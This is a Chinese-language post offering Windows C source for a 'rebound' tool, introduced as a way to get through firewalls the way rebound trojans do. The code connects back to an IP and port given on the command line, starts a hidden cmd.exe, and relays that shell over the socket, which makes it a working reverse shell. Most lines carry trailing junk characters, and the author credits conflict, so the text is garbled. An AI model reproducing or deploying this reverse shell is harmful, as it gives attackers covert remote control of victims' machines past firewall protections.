这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |tolgdj
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/* ============================== !@]h@MC$7
Rebound port in Windows NT $O8EiC!f6
By wind,2006/7 h\: tUEg#J
===============================*/ /hA}9+/
#include =c5 /cpZ^
#include D=pI'5&
h>`'\qy
#pragma comment(lib,"wsock32.lib") ~n]2)>6
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void OutputShell(); G3^n_]Jb
SOCKET sClient; 2=UTH%1D
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tr67ofld|
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void main(int argc,char **argv) MlcoOi!
{ %(wsGNd
WSADATA stWsaData; EssUyF-jwU
int nRet; -$!Pf$l@
SOCKADDR_IN stSaiClient,stSaiServer; Af!
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if(argc != 3) bju,p"J1-E
{ +XaO?F[c
printf("Useage:\n\rRebound DestIP DestPort\n"); ]aMa*fF
return; ~]t2?SqNm
} yI)RGOV
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WSAStartup(MAKEWORD(2,2),&stWsaData); (^@;`8Dy8
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xr7<(:d
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stSaiClient.sin_family = AF_INET; y0mg}N1
stSaiClient.sin_port = htons(0); *MyS7<
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vng8{Mx90*
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jJ{
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{ iTBhLg,
printf("Bind Socket Failed!\n"); `
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return; (L6]uNOG
} W2o8Fu
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stSaiServer.sin_family = AF_INET; {TN@KB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7_d#XKz@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Zv7$epDUz
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4>ce,*B1
{ b<8J ;u<
printf("Connect Error!"); ~6kA<(x
return; pQm!Bt L
} #L*@~M^]
OutputShell(); H f mMf^c
} BrH`:Dw
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void OutputShell() .^+$w$
{ r3bvuq,6$
char szBuff[1024]; ^} pREe c=
SECURITY_ATTRIBUTES stSecurityAttributes; >A@D;vx
OSVERSIONINFO stOsversionInfo; >~bj7M6t
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bJMcI8`
STARTUPINFO stStartupInfo; +H^V},dBp!
char *szShell; qFsg&<
PROCESS_INFORMATION stProcessInformation; "OAZ<
unsigned long lBytesRead; R"kE5:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l$_+WC*wp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Cot\i\]jv
stSecurityAttributes.lpSecurityDescriptor = 0; g1!L.
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stSecurityAttributes.bInheritHandle = TRUE; ke6cZV5w
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 25@j2K (
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L}S4Zz18
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s\1_-D5]Z
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .nY6[2am
stStartupInfo.wShowWindow = SW_HIDE; *L8HC8IbH
stStartupInfo.hStdInput = hReadPipe; HkB<RsS$p_
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ol5xyj
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GetVersionEx(&stOsversionInfo); )PATz
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switch(stOsversionInfo.dwPlatformId) Z1lF[d,f;
{ U\GZ
case 1: R3!vS+5rR
szShell = "command.com"; T-8nUo}i
break; Y/I6.K3
default: aZCT|M1
szShell = "cmd.exe"; A
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break; ?{P6AF-xcf
} scEQDV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1E_Ui1 [
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send(sClient,szMsg,77,0); cQ ;Ry!$
while(1) s^@Cq=
{ +\$|L+@Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X',0MBQ0
if(lBytesRead) [)0 k}
{ +7OT`e
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); wupD
send(sClient,szBuff,lBytesRead,0); 2 3w{h d
} \ OINzfbr
else '*Mb
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{ mnaD KeA
lBytesRead=recv(sClient,szBuff,1024,0); O}!@28|3"
if(lBytesRead<=0) break; 5VoiDM=\c
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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;
} {YTF]J$
} Bzt`9lg
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return; r:rJv
}